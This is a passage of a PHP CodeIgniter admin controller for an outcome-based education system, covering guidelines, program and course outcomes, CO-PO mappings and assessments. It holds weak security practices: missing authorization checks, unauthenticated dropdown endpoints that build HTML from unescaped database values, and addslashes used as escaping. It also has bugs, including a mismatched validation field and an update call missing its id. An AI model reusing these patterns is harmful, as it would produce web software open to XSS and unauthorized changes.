    /* Request Handlers For Sub-Criteria Guidelines */

    public function guidelines() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewdata["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $this->load->view("admin/obes/guidelines", $viewdata);
        } else {
            redirect("admin/");
        }
    }

    public function createGuideline() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewdata["criteria"] = $this->OBESManagement->getAllNonDeletedCriteria()->result();
            $this->load->view("admin/obes/createGuideline", $viewdata);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewGuideline() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("csgm_name", "Guideline Name", "trim|required", array("required" => "Please Enter Guideline Name."));
            $this->form_validation->set_rules("csgm_marks", "Guideline Marks", "trim|required|numeric", array("required" => "Please Enter Guideline Marks."));
            $this->form_validation->set_rules("cr_name", "Criteria name", "trim|required", array("required" => "Please Select Any Criteria."));
            $this->form_validation->set_rules("csm_name", "Sub Criteria name", "trim|required", array("required" => "Please Select Any Sub-Criteria."));
            $this->form_validation->set_rules("up_type", "Upload Type", "trim|required", array("required" => "Please Select File Upload Type."));
            $guidelineInfoByName = $this->OBESManagement->getGuidelineByInfoByName(addslashes(trim($this->input->post("csgm_name"))))->result();
            if ($this->form_validation->run() == false) {
                $this->createGuideline();
            } else if (sizeof($guidelineInfoByName)) {
                $this->session->set_flashdata("errorMessage", "Entered Guideline (" . addslashes(trim($this->input->post("csgm_name"))) . ") Already Exist. Please Choose Different Name.");
                $this->createGuideline();
            } else {
                $newGuidelineInfo = array(
                    "csm_id" => trim($this->input->post("csm_name")),
                    "csgm_name" => addslashes(trim($this->input->post("csgm_name"))),
                    "csgm_marks" => trim($this->input->post("csgm_marks")),
                    "csgm_upload_type" => trim($this->input->post("up_type")),
                    "csgm_withsession" => trim($this->input->post("ifSession")),
                    "csgm_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "csgm_added_on" => date("Y-m-d H:i:s"),
                    "csgm_update_by" => $this->session->userdata("adminData")["smember_id"],
                    "csgm_update_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->createNewGuideline($newGuidelineInfo)) {
                    $this->session->set_flashdata("successMessage", "Guideline Created Successfully.");
                    redirect("admin/OBESConfig/guidelines");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Guideline. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editGuideline($csgm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["criteria"] = $this->OBESManagement->getAllNonDeletedCriteria()->result();
            $viewData["guidelineInfo"] = $this->OBESManagement->getGuidelineByInfoBy($csgm_id)->result()[0];
            $this->load->view("admin/obes/editGuideline", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateGuideline() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $csgm_id = addslashes(trim($this->input->post("csgm_id")));
            $this->form_validation->set_rules("csgm_name", "Criteria name", "trim|required", array("required" => "Enter Sub criteria Name."));
            $this->form_validation->set_rules("csgm_marks", "Marks", "trim|required|numeric", array("required" => "Enter Sub Criteria marks"));
            $this->form_validation->set_rules("cr_name", "Criteria name", "trim|required", array("required" => "Please Select Any Criteria."));
            $this->form_validation->set_rules("csm_name", "Sub Criteria name", "trim|required", array("required" => "Please Select Any Sub-Criteria."));
            $this->form_validation->set_rules("up_type", "Upload Type", "trim|required", array("required" => "Please Select File Upload Type."));
            if ($this->form_validation->run() == false) {
                $this->editGuideline($csgm_id);
            } else if (!$this->OBESManagement->isGuidelineNameSafeUpdate($csgm_id, addslashes(trim($this->input->post('csgm_name'))))) {
                $this->session->set_flashdata("errorMessage", "Entered Sub Criteria (" . addslashes(trim($this->input->post('csgm_name'))) . ") Already Exist. Please Choose A Different Sub-Criteria Name.");
                $this->editGuideline($csgm_id);
            } else {
                $guidelineUpdateData = array(
                    "csm_id" => trim($this->input->post("csm_name")),
                    "csgm_name" => addslashes(trim($this->input->post("csgm_name"))),
                    "csgm_marks" => trim($this->input->post("csgm_marks")),
                    "csgm_upload_type" => trim($this->input->post("up_type")),
                    "csgm_withsession" => trim($this->input->post("ifSession")),
                    "csgm_update_on" => date("Y-m-d H:i:s"),
                    "csgm_update_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->OBESManagement->updateGuidelineInfo($guidelineUpdateData, $csgm_id)) {
                    $this->session->set_flashdata("successMessage", "Guideline Updated Successfully.");
                    redirect("admin/OBESConfig/guidelines");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Guideline. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleGudelineStatus($csgm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $guidelineUpdateData = array(
                'csgm_update_on' => date("Y-m-d H:i:s"),
                'csgm_update_by' => $this->session->userdata("adminData")["smember_id"],
                'csgm_active_status' => $toUpdateStatus
            );
            if ($this->OBESManagement->updateGuidelineInfo($guidelineUpdateData, $csgm_id)) {
                $this->session->set_flashdata('successMessage', 'Guideline Status Updated Successfully.');
                redirect("admin/OBESConfig/guidelines");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Guideline Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleGuidlineDeleteStatus($csgm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $guidelineUpdateData = array(
                'csgm_update_on' => date("Y-m-d H:i:s"),
                'csgm_update_by' => $this->session->userdata("adminData")["smember_id"],
                'csgm_delete_status' => $toUpdateStatus
            );
            if ($this->OBESManagement->updateGuidelineInfo($guidelineUpdateData, $csgm_id)) {
                $this->session->set_flashdata('successMessage', 'Guideline Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/guidelines");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Delete Status Of Guideline. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Programme Outcome Module */

    public function programOutcomes() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["programOutcomes"] = $this->OBESManagement->getAllProgramOutcomes()->result();
            $this->load->view("admin/obes/programOutcomes", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createProgramOutcome() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["courses"] = $this->CourseManagement->getNonDeletedCoursesWithFullInfo()->result();
            $this->load->view("admin/obes/createProgramOutcome", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewProgramOutcome() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("course_name", "Course Name", "trim|required", array("required" => "Select Course Name."));
            $this->form_validation->set_rules("po_name", "Program Outcome Name", "trim|required", array("required" => "Enter Program Outcome Name."));
            $this->form_validation->set_rules("po_description", "Program Outcome Description", "trim|required", array("required" => "Enter Program Outcome Description."));
            $poInfoByNameAndCourse = $this->OBESManagement->getProgramOutcomeByNameAndCourse(addslashes(trim($this->input->post("po_name"))), trim($this->input->post("course_name")))->result();
            if ($this->form_validation->run() == false) {
                $this->createProgramOutcome();
            } else if (sizeof($poInfoByNameAndCourse)) {
                $this->session->set_flashdata('errorMessage', "A PO With Selected Course And Name Already Exits. Please Choose A Different Name/Course Combination.");
                $this->createProgramOutcome();
            } else {
                $newPOdata = array(
                    "course_id" => trim($this->input->post("course_name")),
                    "po_name" => addslashes(trim($this->input->post("po_name"))),
                    "po_total_session" => trim($this->input->post("po_total_session")),
                    "po_description" => addslashes(trim($this->input->post("po_description"))),
                    "po_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "po_added_on" => date("Y-m-d H:i:s"),
                    "po_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "po_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->createNewProgramOutcome($newPOdata)) {
                    $this->session->set_flashdata("successMessage", "Program Outcome Created Successfully.");
                    redirect("admin/OBESConfig/programOutcomes");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Program Outcome. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editProgramOutcome($po_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["courses"] = $this->CourseManagement->getAllCourses()->result();
            $viewData["poInfo"] = $this->OBESManagement->getProgramOutcomeById($po_id)->result()[0];
            $this->load->view("admin/obes/editProgramOutcome", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateProgramOutcome() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $po_id = addslashes(trim($this->input->post("po_id")));
            $this->form_validation->set_rules("course_name", "Course Name", "trim|required", array("required" => "Select Course Name."));
            $this->form_validation->set_rules("po_name", "Program Outcome Name", "trim|required", array("required" => "Enter Program Outcome Name."));
            $this->form_validation->set_rules("po_mdescription", "Program Outcome Description", "trim|required", array("required" => "Enter Program Outcome Description."));
            if ($this->form_validation->run() == false) {
                $this->editProgramOutcome($po_id);
            } else if (sizeof($this->OBESManagement->isProgramOutcomeSafeUpdate(addslashes(trim($this->input->post("po_name"))), trim($this->input->post("course_name")), $po_id)->result())) {
                $this->session->set_flashdata('errorMessage', "A PO With Selected Course And Name (" . trim($this->input->post('po_name')) . ") Already Exits. Please Choose A Different Name/Course Combination.");
                $this->editProgramOutcome($po_id);
            } else {
                $poUpdatedData = array(
                    "course_id" => trim($this->input->post("course_name")),
                    "po_name" => addslashes(trim($this->input->post("po_name"))),
                    "po_total_session" => trim($this->input->post("po_total_session")),
                    "po_description" => addslashes(trim($this->input->post("po_description"))),
                    "po_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "po_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->updateProgramOutcome($poUpdatedData, $po_id)) {
                    $this->session->set_flashdata("successMessage", "Program Outcome Updated Successfully.");
                    redirect("admin/OBESConfig/programOutcomes");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Program Outcome. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleProgramOutcomeStatus($po_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $poUpdatedData = array(
                'po_updated_on' => date("Y-m-d H:i:s"),
                'po_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'po_active_status' => $changedStatus
            );
            if ($this->OBESManagement->updateProgramOutcome($poUpdatedData, $po_id)) {
                $this->session->set_flashdata('successMessage', 'Program Outcome Status Updated Successfully.');
                redirect("admin/OBESConfig/programOutcomes");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Program Outcome Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleProgramOutcomeDeleteStatus($po_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $poUpdatedData = array(
                'po_updated_on' => date("Y-m-d H:i:s"),
                'po_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'po_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateProgramOutcome($poUpdatedData, $po_id)) {
                $this->session->set_flashdata('successMessage', 'Program Outcome Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/programOutcomes");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Program Outcome Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function getPOByCourseForDropdown() {
        $course_id = $this->input->post("course_id");
        $po_id = $this->input->post("po_id");
        $query = $this->OBESManagement->getActiveNonDeletedProgramOutcomeByCourse($course_id);
        $data = $query->result();
        $options = "<option value=''>Select PO</option>";
        for ($i = 0; $i < (sizeof($data)); $i++) {
            $selected = ($po_id == $data[$i]->po_id) ? "selected" : "";
            $options .= "<option " . $selected . " value=" . $data[$i]->po_id . ">" . $data[$i]->po_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'po_list' => $options,
        );
        echo json_encode($responseData);
    }

    /* Request Handlers For Course Outcome Module */

    public function courseOutcomes() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["courseOutcomes"] = $this->OBESManagement->getAllCourseOutcomes()->result();
            $this->load->view("admin/obes/courseOutcomes", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createCourseOutcome() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["subjects"] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $this->load->view("admin/obes/createCourseOutcome", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewCourseOutcome() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("co_name", "Course Outcome Name", "trim|required", array("required" => "Enter Course Outcome Name."));
            $this->form_validation->set_rules("co_total_session", "Total Lecture", "trim|required", array("required" => "Enter Total Lecture."));
            $coInfoByNameAndSubject = $this->OBESManagement->getCourseOutcomeByNameAndSubject(addslashes(trim($this->input->post("co_name"))), trim($this->input->post("sm_name")))->result();
            if ($this->form_validation->run() == false) {
                $this->createCourseOutcome();
            } else if (sizeof($coInfoByNameAndSubject)) {
                $this->session->set_flashdata('errorMessage', "A CO With Selected Subject And Name Already Exits. Please Choose A Different Name/Subject Combination.");
                $this->createCourseOutcome();
            } else {
                $newCOData = array(
                    "sm_id" => trim($this->input->post("sm_name")),
                    "co_name" => addslashes(trim($this->input->post("co_name"))),
                    "co_total_session" => addslashes(trim($this->input->post("co_total_session"))),
                    "co_description" => addslashes(trim($this->input->post("co_description"))),
                    "co_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "co_added_on" => date("Y-m-d H:i:s"),
                    "co_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "co_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->createNewCourseOutcome($newCOData)) {
                    $this->session->set_flashdata("successMessage", "Course Outcome Created Successfully.");
                    redirect("admin/OBESConfig/courseOutcomes");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Course Outcome. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCourseOutcome($co_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["subjects"] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $viewData["coInfo"] = $this->OBESManagement->getCourseOutcomeById($co_id)->result()[0];
            $this->load->view("admin/obes/editCourseOutcome", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCourseOutcome() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $co_id = trim($this->input->post("co_id"));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("co_name", "Course Outcome Name", "trim|required", array("required" => "Enter Course Outcome Name."));
            $this->form_validation->set_rules("co_total_session", "Total Lecture", "trim|required", array("required" => "Enter Total Lecture."));
            if ($this->form_validation->run() == false) {
                $this->editCourseOutcome($co_id);
            } else if (sizeof($this->OBESManagement->isCouresOutcomeSafeUpdate(addslashes(trim($this->input->post("co_name"))), trim($this->input->post("sm_name")), $co_id)->result())) {
                $this->session->set_flashdata('errorMessage', "A CO With Selected Subject And Name (" . addslashes(trim($this->input->post('co_name'))) . ") Already Exits. Please Choose A Different Name/Subject Combination.");
                $this->editCourseOutcome($co_id);
            } else {
                $coUpdatedData = array(
                    "sm_id" => trim($this->input->post("sm_name")),
                    "co_name" => addslashes(trim($this->input->post("co_name"))),
                    "co_total_session" => addslashes(trim($this->input->post("co_total_session"))),
                    "co_description" => addslashes(trim($this->input->post("co_description"))),
                    "co_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "co_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->updateCourseOutcome($coUpdatedData, $co_id)) {
                    $this->session->set_flashdata("successMessage", "Course Outcome Updated Successfully.");
                    redirect("admin/OBESConfig/courseOutcomes");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Course Outcome. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCourseOutcomeStatus($co_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $coUpdatedData = array(
                'co_updated_on' => date("Y-m-d H:i:s"),
                'co_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'co_active_status' => $changedStatus
            );
            if ($this->OBESManagement->updateCourseOutcome($coUpdatedData, $co_id)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Status Updated Successfully.');
                redirect("admin/OBESConfig/courseOutcomes");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCourseOutcomeDeleteStatus($co_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $coUpdatedData = array(
                'co_updated_on' => date("Y-m-d H:i:s"),
                'co_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'co_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCourseOutcome($coUpdatedData, $co_id)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/courseOutcomes");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function getCOBySubjectForDropdown() {
        $co_id = $this->input->post("co_id");
        $sm_id = $this->input->post("sm_id");
        $query = $this->OBESManagement->getActiveNonDeletedCourseOutcomeBySubject($sm_id);
        $data = $query->result();
        $options = "";
        for ($i = 0; $i < (sizeof($data)); $i++) {
            $selected = ($co_id == $data[$i]->co_id) ? "selected" : "";
            $options .= "<option " . $selected . " value=" . $data[$i]->co_id . ">" . $data[$i]->co_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'co_list' => $options
        );
        echo json_encode($responseData);
    }

    /* Request Handlers For CO-PO Mapping Module */

    public function copoMapping() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["copoMappings"] = $this->OBESManagement->getAllCOPOMappings()->result();
            $this->load->view("admin/obes/copoMappings", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createCOPOMapping() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["courses"] = $this->CourseManagement->getNonDeletedCoursesWithFullInfo()->result();
            $this->load->view("admin/obes/createCOPOMapping", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewCOPOMapping() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("po_name", "PO Name", "trim|required", array("required" => "Please Select Any PO."));
            $this->form_validation->set_rules("co_name", "CO Name", "trim|required", array("required" => "Please Select Any CO."));
            if ($this->form_validation->run() == false) {
                $this->createCOPOMapping();
            } else if ($this->OBESManagement->getCOPOMappingBy(trim($this->input->post("po_name")), trim($this->input->post("co_name")))->result()) {
                $this->session->set_flashdata("errorMessage", "Select CO-PO Are Already Mapped. Please Try A Different Combination.");
                $this->createCOPOMapping();
            } else {
                $newCOPOMappingInfo = array(
                    "po_id" => trim($this->input->post("po_name")),
                    "co_id" => trim($this->input->post("co_name")),
                    "co_po_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "co_po_added_on" => date("Y-m-d H:i:s"),
                    "co_po_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "co_po_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->createNewCOPOMapping($newCOPOMappingInfo)) {
                    $this->session->set_flashdata("successMessage", "CO-PO Mapped Successfully.");
                    redirect("admin/OBESConfig/copoMapping");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Mapping CO-PO. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCOPOMapping($co_po_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["courses"] = $this->CourseManagement->getAllCourses()->result();
            $viewData["copoMappingInfo"] = $this->OBESManagement->getCOPOMappingById($co_po_id)->result()[0];
            $this->load->view("admin/obes/editCOPOMapping", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCOPOMapping() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $co_po_id = trim($this->input->post("co_po_id"));
            $this->form_validation->set_rules("po_name", "PO Name", "trim|required", array("required" => "Please Select Any PO."));
            $this->form_validation->set_rules("co_name", "CO Name", "trim|required", array("required" => "Please Select Any CO."));
            if ($this->form_validation->run() == false) {
                $this->editCOPOMapping($co_po_id);
            } else if (sizeof($this->OBESManagement->isCOPOMappingSafeUpdate(addslashes(trim($this->input->post("po_name"))), trim($this->input->post("co_name")), $co_po_id)->result())) {
                $this->session->set_flashdata("errorMessage", "Select CO-PO Are Already Mapped. Please Try A Different Combination.");
                $this->editCOPOMapping($co_po_id);
            } else {
                $copoUpdatedData = array(
                    "po_id" => trim($this->input->post("po_name")),
                    "co_id" => trim($this->input->post("co_name")),
                    "co_po_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "co_po_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->updateCOPOMapping($copoUpdatedData)) {
                    $this->session->set_flashdata("successMessage", "CO-PO Mapping Updated Successfully.");
                    redirect("admin/OBESConfig/copoMapping");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Updating CO-PO Mapping. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOPOMappingStatus($copo_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $copoUpdatedData = array(
                'co_po_updated_on' => date("Y-m-d H:i:s"),
                'co_po_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'co_po_active_status' => $changedStatus
            );
            if ($this->OBESManagement->updateCOPOMapping($copoUpdatedData, $copo_id)) {
                $this->session->set_flashdata('successMessage', 'CO-PO Mapping Status Updated Successfully.');
                redirect("admin/OBESConfig/copoMapping");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update CO-PO Mapping Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOPOMappingDeleteStatus($copo_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $copoUpdatedData = array(
                'co_po_updated_on' => date("Y-m-d H:i:s"),
                'co_po_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'co_po_delete_status' => $changedStatus
            );
            if ($this->OBESManagement->updateCOPOMapping($copoUpdatedData, $copo_id)) {
                $this->session->set_flashdata('successMessage', 'CO-PO Mapping Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/copoMapping");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update CO-PO Mapping Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Assessment Module */

    public function tests() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["tests"] = $this->OBESManagement->getAllTests()->result();
            $this->load->view("admin/obes/tests", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createTest() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["subjects"] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $this->load->view("admin/obes/createTest", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewTest() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("test_name", "Assessment Name", "trim|required", array("required" => "Enter Assessment Name."));
            $this->form_validation->set_rules("test_type", "Assessment Type", "trim|required", array("required" => "Select Assessment Type."));
            $this->form_validation->set_rules("test_weightage", "Test Weightage", "trim|required", array("required" => "Enter Test Weightage."));
            $testInfoByNameAndSubject = $this->OBESManagement->getTestByNameAndSubject(addslashes(trim($this->input->post("test_name"))), trim($this->input->post("sm_name")))->result();
            if ($this->form_validation->run() == false) {
                $this->createTest();
            } else if (sizeof($testInfoByNameAndSubject)) {
                $this->session->set_flashdata('errorMessage', "A Assessment With Selected Subject And Name Already Exits. Please Choose A Different Assessment Name/Subject Combination.");
                $this->createTest();
            } else {
                $newTestInfo = array(
                    "sm_id" => trim($this->input->post("sm_name")),
                    "test_name" => addslashes(trim($this->input->post("test_name"))),
                    "test_type" => trim($this->input->post("test_type")),
                    "test_desc" => addslashes(trim($this->input->post("test_desc"))),
                    "test_weightage" => addslashes(trim($this->input->post("test_weightage"))),
                    "test_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "test_added_on" => date("Y-m-d H:i:s"),
                    "test_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "test_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->createNewTest($newTestInfo)) {
                    $this->session->set_flashdata("successMessage", "Assessment Created Successfully.");
                    redirect("admin/OBESConfig/tests");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Assessment. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editTest($test_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["subjects"] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $viewData["testInfo"] = $this->OBESManagement->getTestById($test_id)->result()[0];
            $this->load->view("admin/obes/editTest", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateTest() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $test_id = addslashes(trim($this->input->post("test_id")));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("test_name", "Assessment Name", "trim|required", array("required" => "Enter Assessment Name."));
            $this->form_validation->set_rules("test_type", "Assessment Type", "trim|required", array("required" => "Select Assessment Type."));
            $this->form_validation->set_rules("test_weightage", "Test Weightage", "trim|required", array("required" => "Enter Test Weightage."));
            if ($this->form_validation->run() == false) {
                $this->editTest($test_id);
            } else if (sizeof($this->OBESManagement->isTestNameSafeUpdate(addslashes(trim($this->input->post("test_name"))), trim($this->input->post("sm_name")), $test_id)->result())) {
                $this->session->set_flashdata('errorMessage', "A Assessment With Selected Subject And Name (" . addslashes(trim($this->input->post('test_name'))) . ") Already Exits. Please Choose A Different Assessment Name/Subject Combination.");
                $this->editTest($test_id);
            } else {
                $testUpdatedData = array(
                    "sm_id" => trim($this->input->post("sm_name")),
                    "test_name" => addslashes(trim($this->input->post("test_name"))),
                    "test_type" => trim($this->input->post("test_type")),
                    "test_desc" => addslashes(trim($this->input->post("test_desc"))),
                    "test_weightage" => addslashes(trim($this->input->post("test_weightage"))),
                    "test_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "test_updated_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->updateTest($testUpdatedData, $test_id)) {
                    $this->session->set_flashdata("successMessage", "Assessment Updated Successfully.");
                    redirect("admin/OBESConfig/tests");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Assessment. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleTestStatus($test_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $testUpdatedData = array(
                'test_updated_on' => date("Y-m-d H:i:s"),
                'test_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'test_active_status' => $changedStatus
            );
            if ($this->OBESManagement->updateTest($testUpdatedData, $test_id)) {
                $this->session->set_flashdata('successMessage', 'Assessment Status Updated Successfully.');
                redirect("admin/OBESConfig/tests");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Assessment Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleTestDeleteStatus($test_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $testUpdatedData = array(
                'test_updated_on' => date("Y-m-d H:i:s"),
                'test_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'test_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateTest($testUpdatedData, $test_id)) {
                $this->session->set_flashdata('successMessage', 'Assessment Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/tests");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Assessment Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function getTestsBySubjectForDropdown() {
        $sm_id = $this->input->post("sm_id");
        $test_id = $this->input->post("test_id");
        $query = $this->OBESManagement->getNonDeletedActiveTestsBySubject($sm_id);
        $data = $query->result();
        $options = "<option value=''>Select Assessment</option>";
        for ($i = 0; $i < (sizeof($data)); $i++) {
            $selected = ($test_id == $data[$i]->test_id) ? "selected" : "";
            $options .= "<option " . $selected . " value=" . $data[$i]->test_id . ">" . $data[$i]->test_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'test_list' => $options
        );
        echo json_encode($responseData);
    }

    /* Request Hanlders For CO-Question Mapping */

